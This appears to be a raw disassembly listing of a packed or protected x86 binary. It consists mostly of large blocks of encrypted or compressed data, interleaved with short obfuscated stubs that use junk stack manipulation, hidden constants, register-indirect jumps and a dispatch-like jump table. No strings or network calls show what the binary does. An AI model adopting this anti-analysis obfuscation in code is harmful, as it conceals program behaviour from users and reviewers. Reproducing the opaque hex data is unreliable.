		dd 0C870000h, 0C895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h
		dd 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h,	1C895C24h
		dd 0B8505524h, 5E4C699Fh, 0D158C589h, 0A8F581EDh, 81421E54h
		dd 9114C9C5h, 4E5C11Bh,	8106EDC1h, 2B4A6AF5h, 5DEF8904h
		dd 241C8B54h, 4C481h, 45680000h, 89000057h, 2C81243Ch
		dd 4A5DF924h, 8438F45h,	0F9084381h, 8B454A5Dh, 8951241Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 34FF5C24h, 0C4815F24h
		dd 4, 0FA59F3E9h, 2884E3FFh, 0EC796D27h, 286C5D56h, 26C5B87Fh
		dd 0C5030619h, 1703E0FFh, 62254Fh, 322D15EBh, 4DED41CBh
		dd 886816ACh, 0A0D136AEh, 0F033B7Eh, 0E88A099Eh, 29BE4004h
		dd 388B257Ch, 679D5AB0h, 17E749E2h, 0D05E0E8Eh,	68FB0FE5h
		dd 43093210h, 0DA6E4977h, 2CEF6181h, 62C424D9h,	1A1F5B87h
		dd 0BC8A4D0Bh, 25B2403Ah, 0F18E5h, 0C8CE4BC6h, 9B787C30h
		dd 0DF7E0160h, 1F22E8Ah, 0AC632941h, 48635E7h, 8D8D66B0h
		dd 61928ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0DBC35747h, 8D8933BAh, 6131BBDh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 28C35040h, 67B21201h
		dd 18DD85C7h, 61B80613h, 81660000h, 0C7F290F6h,	13305585h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FFB2481h, 0B5FFD7B7h, 6131139h
		dd 0FFF3BF0Fh, 131D8995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F38B6606h
		dd 95FF006Ah, 6130DA9h,	6EEBC08Bh, 4C9FDFB9h, 203155BEh
		dd 337FC039h, 969A592Eh, 0FD15C4Ah, 0E297BAF7h,	0ADA083C8h
		dd 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 67E84A7Ah
		dd 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah, 2648D83Bh
		dd 773F93FCh, 63F9BB9Dh, 0DDB4EC57h, 0A0668F43h, 8080E576h
		dd 0AB84B4D5h, 0FE7DB4CCh, 0A1232AF3h, 0C0FFC0B9h, 0BB5A8405h
		dd 6E931ACh, 90000000h,	189B7Bh, 57CE900h, 61ED0000h, 63F3D5F5h
		dd 53E5CBEBh, 62F1D7F7h, 5BEAD0EEh, 45EAD9F9h, 1BBB9928h
		dd 0BABA735h, 18B69225h, 0DAD9F32h, 70EA1B44h, 3916B6DEh
		dd 6CBD7EE0h, 72C38F1Dh, 6A557213h, 0DC8F3C81h,	7FEEF6B2h
		dd 68460E5Bh, 7E5DEF42h, 0F243095Ch, 0F26A0D5h,	0AEEF109Eh
		dd 0F45CEBCFh, 8597DECh, 81D1F544h, 2DC9EECDh, 4372EBA4h
		dd 5A0D5C64h, 5EEFA318h, 55EAD0EEh, 5AEDD3F3h, 0ED7B5FEEh
		dd 0CDDC36A7h, 9DA5109Dh, 3E5F3E0Ah, 42B7392Fh,	0AD0D3B90h
		dd 43123A8Bh, 67A11B04h, 45AF956Bh, 0E58D0C7Bh,	8C06109Dh
		dd 0D36248EFh, 0D19F3781h, 79A341DBh, 4Ah, 0E06CBDDDh
		dd 0CE4D7251h, 0A4A83956h, 884F7495h, 0B7A4232h, 109DD28Dh
		dd 0C9F38802h, 0A341F40Bh, 1B3h, 6DBD8700h, 0DC6E50E1h
		dd 50DFE372h, 2E7FA300h, 6CE4F1Eh, 0D7EF467h, 69490555h
		dd 77D1664Ch, 72DA6B6Dh, 70BDF654h, 547655E4h, 9AFB4A00h
		dd 0A0AE0052h, 321EAD91h, 0BF8F1F23h, 9425ADAEh, 3ACF39A1h
		dd 3612A58Dh, 0FCDEE627h, 0DFC8E76Dh, 3D92657Eh, 3917A12Ah
		dd 0ADA7361Ch, 0E6A03123h, 1D931A6Dh, 0FFDCBDB5h, 8D31ADE0h
		dd 9BFA109Eh, 1CB09251h, 0A93B1F2Eh, 1CAE90A1h,	0C0E22332h
		dd 82CA1B6Ch, 147E52E3h, 0CB478E77h, 305E0E2Eh,	1A40A341h
		dd 0E53C84C6h, 7Ah, 0E470BD79h,	6BDF7155h, 7AD4664Ch, 0C322AAEBh
		dd 0B969E210h, 0A48B282Ch, 0BFB86260h, 9FBD07CDh, 0F26CA1BEh
		dd 0BB109E73h, 0F140925Ah, 5FF0D263h, 80F5D2F1h, 109E7406h
		dd 153D8BCFh, 1CA4C544h, 0D16AA4CDh, 4157FDABh,	5B65A3h
		dd 0BDF90000h, 7155E470h, 0F7DB6ADEh, 7658E969h, 5DB6AE4h
		dd 0A407EE8Bh, 0AD295C7Bh, 0E1109DB4h, 2C6DFC50h, 9CF6FE1Fh
		dd 6EE6731Fh, 6DBDF250h, 4F7350E1h, 4FED87FDh, 0FB80E32Fh
		dd 824ACB9Ah, 9DC48203h, 0FA8FFB10h, 41FA02D2h,	92C3E4A3h
		dd 109DD138h, 0CD549C01h, 1, 99DDC271h,	1DB27F16h, 45E8F2Ch
		dd 0CD109DE4h, 0FA4E8048h, 6CBD0150h, 0E06D51E0h, 0E45530AEh
		dd 0F2933B33h, 95F16463h, 5E109E96h, 64E9B3Fh, 0DD6EA437h
		dd 219AD4E8h, 0AA245976h, 73109E96h, 3488CA12h,	0B897B816h
		dd 9E96C945h, 69739210h, 5572144Dh, 8F933120h, 92A3E216h
		dd 0DD6C1DB0h, 0C6A7E677h, 0DD6FC2E8h, 909FFD8Ch, 88D70A8Bh
		dd 65579C8h, 2A68FB4Ah,	0DC03A491h, 5CED67F6h, 90940E7Fh
		dd 385D0A8Bh, 84F58F59h, 0F2D17BCEh, 0AD280D0h,	0F953E6CCh
		dd 0B6D36668h, 9EF86D25h, 670A8B90h, 17264726h,	0BA68E16Fh
		dd 2D852527h, 5AAC366Fh, 148D7h, 0BEA36B00h, 377AEBC8h
		dd 0D0168EBCh, 0F8DFFC4Dh, 0EF6CB9ACh, 0C315DFB6h, 0DBFCDA72h
		dd 0ECE414F4h, 0AD37F5A7h, 0DF6F1AABh, 0DEBFDE6Fh, 52FA4B8Fh
		dd 0A7235275h, 700A8A1Fh, 1337892Dh, 6AF9C342h,	0DD9526A4h
		dd 85A2004Ch, 7C44109Dh, 0AD8114E4h, 66BC5Ah, 0C2A20000h
		dd 0B51670E5h, 0F84A109Dh, 3C840956h, 3C9BE700h, 624C2DC9h
		dd 5E81A66Fh, 0E919AE4Bh, 5FBE2BB5h, 1D237F0Eh,	6B25909Eh
		dd 0B40129CEh, 0BECFDDAh, 3253B683h, 0DEDAE223h, 80A20181h
		dd 0BC992331h, 6265AD49h, 0B30426EFh, 0BC87CC9Dh, 26576095h
		dd 29C60E6Fh, 52E3C7E4h, 0CBAAAA37h, 8EF4D301h,	5A000000h
		dd 0EBC8BEA3h, 8EA18F7Ah, 73C2E816h, 0B8AD7E1h,	0A7351D3Ah
		dd 9E2F21ABh, 0B2F10AEh, 0C4E96BEh, 26A0D5B9h, 0EF0A8AA1h
		dd 0CAF0CFAEh, 786D779h, 7CDF2EBDh, 0BD0A8AA1h,	5BEEA415h
		dd 5BF0D2F1h, 0B9F5E3EDh, 84F9D6B0h, 10718929h,	7D228DB2h
		dd 5FEE5AEDh, 5445993Eh, 3E409ACBh, 84090471h, 96B584E5h
		dd 0A42C22B4h, 1C2D1FB2h, 96A7A93Ah, 1F2E24B4h,	40F28709h
		dd 0B0D160EEh, 0F891FBD1h, 6E4D3930h, 5826C2FFh, 0ECCA4B0Ah
		dd 5DDC24Eh, 0C00A0B26h, 0E10834BCh, 912406A5h,	84A5AABBh
		dd 909A7C44h, 0B29F2948h, 84D9E643h, 1F2E6F16h,	87C91A40h
		dd 82CA1B3Dh, 0DEABFE24h, 0D362034Dh, 6F59BA2h,	81FA7808h
		dd 0EECC80D1h, 600D79CCh, 6AF7A87Bh, 0ABAFBEDFh, 6CE0711Ch
		dd 8089AE0Dh, 1A3283ABh, 466588B5h, 0C4F9EF7Eh,	601872E3h
		dd 0BCE1EC02h, 0B161DA34h, 0B18E2C20h, 60035F8Eh, 49CCEC02h
		dd 8DFC4D7Fh, 0C041103Ch, 11B590A1h, 19000000h,	351E0C2h
		dd 61ECD332h, 2339AB4Fh, 31EB1FA9h, 54E571BDh, 0DC6DDF72h
		dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh
		dd 9EAF9B2Dh, 15242ABCh
		db 22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	76E3h
		mov	[esp], eax
		push	3774h
		mov	[esp], esi
		mov	esi, 24D83F87h
		dec	esi
		sub	esi, 1EBF1656h
		mov	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		mov	edx, 8
		add	edx, 3B153A9h
		add	edx, eax
		sub	edx, 3B153A9h
		mov	[edx], ebp
		pop	edx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		shl	byte ptr [ebp-4A18753Eh], 0B8h
		or	ebp, [esi]
		sbb	[esi], eax
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 47h
		dd 3F35320Ch, 1B580291h, 5126F98Dh, 821961FBh, 171D1D0Eh
		dd 6D573468h, 6909C573h, 563D509h, 0A37476D1h, 982C808Bh
		dd 84353DAh, 4F3F9809h,	0E86EBC1Eh, 10h, 0F1483958h, 87037CF7h
		dd 0FFE8327Bh, 43D59978h, 0BE665AF8h, 0C2812D62h, 6185h
		dd 0E8FF2BF5h, 5, 0DA761F0h, 6820FD4h, 81000000h, 11A7E3D6h
		dd 34FF5B60h, 0D9816617h, 8058A246h, 0E881C6EBh, 2CEB0208h
		dd 6938C081h, 0C08113B0h, 7697F011h, 50C88B66h,	8FCE8B66h
		dd 6E83A04h, 0AB000000h, 0F855FFBBh, 81BB66E1h,	8B0F5EF7h
		dd 6, 5B91DB81h, 0EF837F41h, 10E804h, 0F7C50000h, 255CDEF0h
		dd 0B67E54B4h, 0B1790802h, 5EF9F8CDh, 9F40FF81h, 850FFFFFh
		dd 0Dh,	24E9h, 7E0AF000h, 32062AACh, 0B5BB6685h, 0FF80E9B1h
		dd 0DC5FFFFFh, 0F333B286h, 9FD838C9h, 6AF5828Fh, 0AC61272Ch
		dd 18CE9B7h, 57010000h,	2C276F21h, 98D31AD5h, 0D1D746B1h
		dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h,	92A59EB9h
		dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
		dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
		dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
		dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 3 dup(0)
		dd 47E90000h, 68000010h, 619335Eh, 0FB1633E9h, 346A68FFh
		dd 29E90619h, 68FFFB16h, 61935EFh, 0FB161FE9h, 36B868FFh
		dd 15E90619h, 68FFFB16h, 61937E4h, 0FB160BE9h, 38AF68FFh
		dd 1E90619h, 68FFFB16h,	6193982h, 0FB15F7E9h, 39FD68FFh
		dd 0EDE90619h, 68FFFB15h, 6193AD8h, 0FB15E3E9h,	3B5D68FFh
		dd 0D9E90619h, 68FFFB15h, 6193C3Dh, 0FB15CFE9h,	3CD968FFh
		dd 0C5E90619h, 68FFFB15h, 6193D86h, 0FB15BBE9h,	3ECF68FFh
		dd 0B1E90619h, 68FFFB15h, 6193FF8h, 0FB15A7E9h,	2F805AFFh
		dd 0E3CC2151h, 347795FDh, 0E7C8264Eh, 376889F9h, 6BE15549h
		dd 0BBA71986h, 41318F1Ch, 0F39F01AAh, 922C9615h, 0D9EA5EEEh
		dd 0E5E2428Dh, 4A617798h, 0A1FD96CEh, 0EF1E8DD9h, 44E0040Eh
		dd 40DA4DBEh, 44678113h, 6D6ABA5Eh, 208B6143h, 0A51DC104h
		dd 94F7B325h, 91578944h, 51DC6687h, 0E9D265E5h,	76A83EA1h
		dd 0E1D93F3Dh, 1AB7BD79h, 0D0F5189Fh, 0B1F78439h, 326D9400h
		dd 915A0081h, 212A106Fh, 0CB7902B1h, 504848h, 0FBFD0000h
		dd 118E5FE3h, 35D5D82Bh, 44940FC3h, 0B74187B9h,	9581ACB6h
		dd 0A15A0EF5h, 9CAFC3Eh, 79520D73h, 89EC0BBDh, 456E3C6Fh
		dd 7FF3B84Fh, 490416Eh,	0B220C3E8h, 321887A9h, 1ABD5529h
		dd 0DE2C835Bh, 0B743D535h, 48CB4A08h, 0EB4Eh, 61770700h
		dd 0D6FB894Ah, 5C7C08C9h, 6EB6A24Fh, 24F7B32Fh,	0B4E0FACFh
		dd 0E0CB2154h, 0AEC4B82Ah, 0EE44944Dh, 4BF662EAh, 84C64494h
		dd 0F1BA1E76h, 0A605E38Fh, 7DA8B26Dh, 7D1EF199h, 0CAFC3EA1h
		dd 46CE164Eh, 55EA6B08h, 0F6905DC3h, 2FD7BB3Bh,	0BD7951C5h
		dd 0EA0171B3h, 0E75F37C1h, 0C74DFBE4h, 6EDA7266h, 6EB74CF8h
		dd 19F12289h, 41C15789h, 547D2EC9h, 4CC43476h, 6088FAA5h
		dd 68E01DF0h, 0B74CF8FCh, 0A3509ACCh, 3D2ABB67h, 7E153E96h
		dd 0E6B9187Ch, 1A650E5h, 1F9A8571h, 0D7Ch, 87A35D5h, 542E815Ch
		dd 1DFCC20h, 50327D91h,	0E2BD24h, 13BE5ED0h, 896E168Ch
		dd 37D4C022h, 82660E74h, 6125B729h, 8DDB7FE9h, 35604D42h
		dd 5B455A77h, 5EDAD127h, 0E866D27Ah, 14564494h,	346C9C06h
		dd 0BCD3D4BFh, 75607A43h, 56F17FBh, 0F34494E8h,	0A60111B1h
		dd 0B9D38DCBh, 13344E1Fh, 641226BEh, 9E9A5059h,	0A193372Eh
		dd 1ED3153Eh, 79E936AEh, 3E0B33BDh, 0CBF13FCEh,	5DEDE948h
		dd 0BD79E5EBh, 199269E1h, 0D6C749CFh, 0BF000000h, 0C3F0BF4Fh
		dd 0FBE2F107h, 0C38BADE3h, 7B7D2B19h, 29EAC117h, 0A869369Bh
		dd 0CED130A0h, 7CAAC04Ch, 82664494h, 2DCBB729h,	7CC83CCCh
		dd 7EC04494h, 0CE58874Ch, 7853F363h, 0F23EA14Ah, 0C430CAB2h
		dd 5F79E81Fh, 6175E123h, 79447FE9h, 0FD1B4DBDh,	0F5304AA3h
		dd 0EA778901h, 4385C74Dh, 0F9C3BD3h, 941BF2E2h,	0DB5DAB5Fh
		dd 0F1AE53BBh, 0A1FEE38Fh, 11C7728h, 0E6E3CC71h, 0C70h
		dd 3CA609E1h, 88FAB548h, 35AB00DCh, 0A4FEB14Dh,	348E11F0h
		dd 0EF128A7Ch, 45A2D2B0h, 0F3087C66h, 3E9ACAB8h, 0D5B9136Dh
		dd 8DDCC335h, 81CCB942h, 314AE3FBh, 0BB436F26h,	94DED94Bh
		dd 3B6DAF44h, 138C759Dh, 8823C5ADh, 0C3E80090h,	0CC3CBC0Eh
		dd 4494DE58h, 0B6ECEE30h, 4A61770Fh, 0CEDDFB89h, 9B14EA6Ah
		dd 2BE8C717h, 2FD749CFh, 3D35CBEFh, 0F407496Dh,	6E7F1B7h
		dd 0C545B17Ch, 3EA1D10Ah, 2AE15C84h, 9C717A1h, 79161781h
		dd 65A3E5BDh, 0C4ED2FD3h, 791650C8h, 0E4ED4DBDh, 0CB0E4574h
		dd 640948h, 0D2BA0000h,	0D179DD48h, 3EA1F566h, 0EBE11254h
		dd 0BD780375h, 2D01CA70h, 337A129h, 8D05BD78h, 708A406Bh
		dd 0CA07FD0Ch, 38A148h,	0FB720000h, 690A07E3h, 4CCE5334h
		dd 2A0E1923h, 0A18343A2h, 527FC13Eh, 79B7C23Ah,	9939DFBDh
		dd 50AA6738h, 0B7F460E8h, 82C4BD79h, 6DDDE678h,	48CBAF5Eh
		dd 704h, 3D6CD100h, 45000008h, 4AA748D2h, 32DFCC1Fh, 29E112D8h
		dd 38CF77DFh, 0BA3EABD9h, 0EE87306Ah, 0D761F3ABh, 95FDF92Bh
		dd 1A4A3873h, 8909EDBEh, 41793A75h, 0FB859AB7h,	1840C830h
		dd 0E8C74DD7h, 0EF086180h, 5C3F7BCh, 3CBCEECCh,	0AD4134D4h
		dd 0AADAC802h, 7BB45D4Eh, 80F494E1h, 78B7580Fh,	0F4948446h
		dd 0CD6D2FC1h, 54E41F37h, 3660E204h, 3AF774h, 7CA76AE3h
		dd 0AEBFDh, 2B846600h, 7F30CDB5h, 109B7121h, 832CC2B2h
		dd 138C751Dh, 8F0D01ADh, 1F532D72h, 95FDE3C8h, 174B3576h
		dd 0E6F8EAC1h, 0DD3EAA22h, 210E428Dh, 0E9096FF4h, 0D8624494h
		dd 0E9EDE94Dh, 6B17F761h, 7437D5BBh, 0E02CAEF0h, 0C1542759h
		dd 328BF527h, 7119FD28h, 0C74D1752h, 2AAA8ED0h,	1303DDCEh
		dd 771D87FFh, 77FB759h,	0B759779Dh, 0F729396Bh,	5457B1E1h
		dd 89F6909Fh, 59779701h, 0E52365B7h, 6A0BE171h,	24CD1B94h
		dd 504454E6h, 4E8328C0h, 0C6049B46h, 5E98D834h,	6698CD66h
		dd 258662F2h, 7A31C7BBh, 87DF4339h, 0A142920h, 5E7371Fh
		dd 96C113E7h, 9333E3F5h, 5315C838h, 3CDFEC1Eh, 0A9E4CA37h
		dd 0A220B7Eh, 0DB2F0000h, 6786EED4h, 0D22A5A48h, 637BE7D9h
		dd 0C32E564Ch, 44BAE6DCh, 0C7629C8h, 0B62C7F58h, 247E2DCEh
		dd 0AD139870h, 65CF771Fh, 53428DDEh, 48D22F56h,	905EA8F7h
		dd 4E8C573Eh, 8CB894EFh, 141ACA00h, 897BEAE0h, 87D73F89h
		dd 963240A6h, 3C5CDEEAh, 0AB6775CCh, 3D9B133Eh,	4D6E8D88h
		dd 0D1173133h, 6AA00BE1h, 298266EEh, 37A1292Dh,	5BD73E5h
		dd 77EB35C3h, 56894A61h, 55F561CCh, 0C74CD5CAh,	4CB85044h
		dd 3CB75935h, 5294F00Ah, 218A6EE6h, 7635D3BFh, 8D98A23Dh
		dd 8FFA79A9h, 6EA3F042h, 6FE7218Ah, 59656DD7h, 0F295BB7h
		dd 4D097F07h, 0C5F7CD66h, 8427C151h, 815AFA1Eh,	711E92Ah
		dd 0E9086D8Bh, 0BBDFDB6h, 39D242C6h, 0B5DC48C0h, 7AACA920h
		dd 0FA62AA30h, 35A920B5h, 7018002Bh, 0D31F9DE5h, 0ED65D113h
		dd 18876A0Bh, 6DE91FDBh, 6DA609E5h, 1AE5758Dh, 0E31B8B2Fh
		dd 4197CB55h, 0EC76A96Ah, 9635D541h, 94D93098h,	0F48EA152h
		dd 664DBD39h, 0B8DF23EAh, 4EECBF18h, 26F774B6h,	0BB589814h
		dd 8F6F990h, 7F5B0000h,	0CB225230h, 7696FEE4h, 0C7174B35h
		dd 678AFAE8h, 0E0564A38h, 0A81A856Ch, 32901BBCh, 0A002A942h
		dd 299714F4h, 0E95BEB93h, 0DF428DDFh, 61779BE2h, 0DDFB894Ah
		dd 0EAA825CEh, 3C6F89E1h, 0F0F70646h, 79BB126h,	68000000h
		dd 4D66Ch, 0E3FB4500h, 0AC995A7h, 81A23885h, 95B3EBBFh
		dd 0D361FBE4h, 11F057DFh, 6C9EFD14h, 7687A1CEh,	62D6148Bh
		dd 0A13C93EAh, 4F2F713Eh, 0AD17AFA3h, 9BBD795Dh, 16D4DB33h
		dd 0C6E8804h, 7B05E877h, 41C048B0h, 3F18400Bh, 0CC44D4FDh
		dd 74797F2Ch, 0BDF359EAh, 0BA4B0889h, 4B8008F0h, 491E5120h
		dd 0A04128C9h, 0D32FC9FFh, 0CB2DA591h, 769202E0h, 0C6733435h
		dd 1F0897E0h, 82BAAh, 0EBC42600h, 3F708DF5h, 0D0DB3161h
		dd 436C82F2h, 0D3CC355Dh, 0CF4DC1EDh, 5F136D32h, 0D5BD2388h
		dd 570B7536h, 26B82A81h, 0D07EEA62h, 614E428Dh,	64617734h
		dd 66E7B18Bh, 228962A6h, 19CF19F1h, 0DD3070D8h,	611AD72h
		dd 0CE335F79h, 44DEEFD1h, 985259B3h, 80AF28A0h,	81993EABh
		dd 0F30B0A21h, 6D3E9D74h, 0D4448644h, 737DC034h, 4486B8BDh
		dd 9F588CD4h, 3DDA4EBEh, 70B2BD73h, 0B4BE8454h,	3E667226h
		dd 0D627B59Fh, 292A85Ch, 4551C5E6h, 730453C5h, 0CBF729BDh
		dd 825A4D06h, 0CA58E253h, 446D3E9Ah, 0A29691ABh, 4C47972Ah
		dd 332365C7h, 146E3D9Bh, 33238860h, 0CF69369Bh,	0FEEF1282h
		dd 5A861A8Eh, 0FAB0F2B7h, 0F784A871h, 4F6A5570h, 758h
		dd 0F4CEE1F9h, 60426D80h, 0EDD3D834h, 5C466985h, 0ECD6C928h
		dd 27CA42B4h, 7D5A0A78h, 0CB20542Eh, 769202E0h,	8D714B35h
		dd 8DD18BFDh, 39848142h, 79DD48D2h, 9619F55Dh, 1897675Dh
		dd 4FE91FDBh, 0ABD860BBh, 0D22AAA3Eh, 0AF644BA3h, 0F78B8D5Bh
		dd 27C151C5h, 92761E84h, 91391D19h, 0BD723827h,	0C45D315h
		dd 7ADE49D3h, 472A8FD2h, 2E3B6DC7h, 70FCD555h, 0DD80F922h
		dd 74000006h, 0BBA71996h, 3F338D22h, 0F0A4FEADh, 432F911Eh
		dd 2F9F019Eh, 6B349D3Fh, 0C1EA0D75h, 5358B3DFh,	0C8E3056Dh
		dd 8CFC04DAh, 428DD118h, 77CAF3F0h, 0FB894A61h,	0A825CEDDh
		dd 0DCCF2CA4h, 7BD3A03Eh, 0E8744E5Dh, 0B126ECD9h, 77Dh
		dd 0B86C5600h, 45000002h, 894A6177h, 0F561CC56h, 0ABD9CA55h
		dd 0A338B03Eh, 0D3EFCB08h, 0C3D60F7Ah, 512F79DEh, 4DAEC721h
		dd 5D67AC5Eh, 272B2B74h, 72F2359Fh, 37C103BDh, 35E5FDE9h
		dd 0AD433FE8h, 0A6C0AD4Bh, 0BA439D9h, 722E157Fh, 67A1E3BDh
		dd 1EE557EFh, 5BD3C74Dh, 11E92A81h, 19EF5FD7h, 0A4443092h
		dd 0D63ECA07h, 0E7E7A31h, 0B7597E9Ah, 6AAA3072h, 44DB1887h
		dd 7F07EF3Ah, 0CD6C6D24h, 2A1B90D2h, 0FF6AE399h, 602B5D4h
		dd 0BB4F0000h, 7E68EF4h, 0B24A3AA8h, 3DB87F9h, 0A34E36ACh
		dd 241A86FCh, 6C5649A8h, 0D6CCDFF8h, 845E4DAEh,	0CDB3F810h
		dd 56F17FFh, 0F3428DD2h, 0E3FBCFF6h, 5566C90Ah,	0A1F1072Bh
		dd 25AF6447h, 922BE8C3h, 798FE7F4h, 28A85032h, 0E01AD7D4h
		dd 0F313A25Ah, 0D9BDB126h, 94FFC731h, 8629C544h, 0B3F56D4Dh
		dd 0EEB25h, 6C980000h, 16Bh, 0BAF50888h, 1C37C1F9h, 414A6177h
		dd 7D29164Eh, 7D615843h, 0D4000005h, 5B077936h,	1F532D82h
		dd 9004DECDh, 234F317Eh, 0CFFFE1BEh, 8B14BD5Fh,	218A6D15h
		dd 7338D3BFh, 2883650Dh, 0EC5C24BAh, 428DD378h,	772A5350h
		dd 46CE4A61h, 0FBCF049Bh, 8E0F4DDh, 0C21BB3A3h,	74E36407h
		dd 2F79057Fh, 0BB1CA8A9h, 0EE21C3F0h, 9971FE2Ah, 8926B7BBh
		dd 0B8812948h, 25311796h, 94C633A5h, 41D70944h,	9276CE9Bh
		dd 53B51D19h, 1C60C258h, 0B126C2EDh, 20B1h, 19B1A500h
		dd 4494CEAFh, 86CD6B9Dh, 0C66Ch, 0C06C4500h, 88000000h
		dd 0D0B0AA58h, 52E8FF48h, 0DD48D203h, 0D94ED179h, 0FA2C3EABh
		dd 0C3434FB9h, 0BD722751h, 0AE3F527h, 0C941B570h, 0C747225Ah
		dd 440C2038h, 3FF347DEh, 0C9AF30Eh, 0F212D82Bh,	71CB0B43h
		dd 9613D531h, 70FC7A8Bh, 9D1AAF98h, 0B4000004h,	0FB675956h
		dd 7FF3CDE2h, 30643E6Dh, 83EFD1DEh, 6F5F415Eh, 2B745DFFh
		dd 812ACDB5h, 1398731Fh, 8823C5ADh, 4CBCC41Ah, 428DD4D8h
		dd 0D28AB3B0h, 5D79DD48h, 0CC109845h, 81397A25h, 1EB5161h
		dd 0F1A893F7h, 5C8E3EA2h, 139874DCh, 34C949ADh,	0B62D5D7Bh
		dd 0A4BD796Ah, 9796744h, 2040B8F3h, 3BAEE43Ch, 806151C5h
		dd 218F21Fh, 42AB8D1h, 0D2790000h, 0D179DD48h, 3EABD94Eh
		dd 0F0BB50C0h, 0AB689AEAh, 0D73FEA74h, 4722C02Fh, 0FF8CBEC7h
		dd 70FCC80Ch, 19B2E19h,	50000004h, 0D78BF5BAh, 4B37A906h
		dd 0DC88FAB1h, 9FD3AD02h, 4B835D42h, 0FFA041DBh, 9516F1A1h
		dd 7A4372Bh, 9C0FE999h,	58F09826h, 428DD4ECh, 0D2A6EFDCh
		dd 0D179DD48h, 3EABD93Ah, 7F2CC028h, 0F7B1EE13h, 2D728FFFh
		dd 0A94E4684h, 0DFF9D102h, 6A419737h, 4849078h,	0BD722790h
		dd 90048468h, 68BD7227h, 2E667436h, 2D75E1CAh, 4E25837Fh
		dd 656E8C04h, 8175B0CAh, 4DCD5309h, 876FB1C7h, 1FB9F607h
		dd 0AA01D777h, 0E9C226AEh, 47A1D14Fh, 0E680AF64h, 0A943CB4Bh
		dd 0DFF9D102h, 15648F37h, 90D2CD6Dh, 0E2D2F21Bh, 7DFC276Ah
		dd 354h, 0F0D2DDFDh, 5C466984h,	0E9D7D428h, 584A6579h
		dd 0E8DAC52Ch, 1BC646B8h, 91761E84h, 1FBCA81Ah,	8A6E168Ch
		dd 692DBF21h, 8DD577E1h, 0FD484542h, 894A6177h,	0F4CEDDFBh
		dd 5EB041DBh, 279F9751h, 3EA1F69Ch, 50C0386Ah, 5C5EEB1h
		dd 76EEDEF3h, 73BD7802h, 7F8EFECBh, 2348CA06h, 4Fh, 0DD48D2F0h
		dd 1D455D79h, 0F7B4475Eh, 7320D3CBh, 433E2565h,	0DA0C3EA1h
		dd 9912F65Eh, 0C23A527Fh, 0DFBD7939h, 6C3F9939h, 39E85CECh
		dd 9EE0BD79h, 89F9C29Ch, 48CB217Ah, 10120h, 0AC1C3800h
		dd 0BD793538h, 0C01DE810h, 1E4C0CFDh, 77074EECh, 0FB894A61h
		dd 7C08C9D6h, 0BB2D9D5Ch, 914494E8h, 0E8BB2D9Dh, 4F914494h
		dd 0B6A24F99h, 0D6EEBD1Eh, 4FF8DE5Eh, 0CB47D103h, 0FCAF482Dh
		dd 0DBC503B7h, 94F9CB9Fh, 3DCDC944h, 4494FFCBh,	0F9B249C1h
		dd 32C802B8h, 9F6F06E2h, 7CE8DA10h, 0B6A24F5Ch,	27ECB31Eh
		dd 1E2845D3h, 54FB2313h, 1D48ECF6h, 0EE5E3AC0h,	3EA1F74Bh
		dd 0F47A1941h, 0D9DA3B82h, 21CB10Fh, 0CD972F27h, 0CFC74C4Ch
		dd 8F03A83Fh, 5AAA307Fh, 41A03028h, 0F110845Eh,	7A9ABDAEh
		dd 0E4CF70FFh, 20BE5h, 0BA44600h, 9F10ED95h, 0F0BB5141h
		dd 0A30CE292h, 0F3AC553Dh, 0AF2D218Dh, 0FF734D52h, 0B5DDC3E8h
		dd 0F76B5556h, 6D8CAE1h, 0D61E8A02h, 1EE428Dh, 5DE3FBD4h
		dd 2EC8137Ch, 496286EEh, 6CA83288h, 0BCA81A85h,	0C5318F1Ch
		dd 9F16AF4Dh, 43103748h, 63975C8Eh, 48D27ED5h, 0FED979DDh
		dd 34C604ADh, 0BDFDE464h, 99CB3EA1h, 3CFC6458h,	2DCBD78h
		dd 3C198BFBh, 0ADEFBD78h, 30CEB6FBh, 9B3B527Fh,	1535ACCEh
		dd 242DDC4Ch, 0D47148CAh, 22000000h, 0F8146177h, 7296FEB3h
		dd 0F5536F39h, 7D65B0Fh, 2B995A90h, 0A418D9C6h,	449453CEh
		dd 0FDF896CEh, 0E0B58CDEh, 8D1EBA5Ah, 50A93F33h, 941A4CB8h
		dd 8A0A3C44h, 36943D6Eh, 96B03F74h, 17B79B9Bh, 0D02AE7C4h
		dd 2B67C24Ah, 0D3153EA1h, 748909EDh, 0B6D09D3Bh, 180B7B7Bh
		dd 0EEC74D86h, 3AD43CBCh, 9FB36375h, 0C1049B7Fh, 4C91DF49h
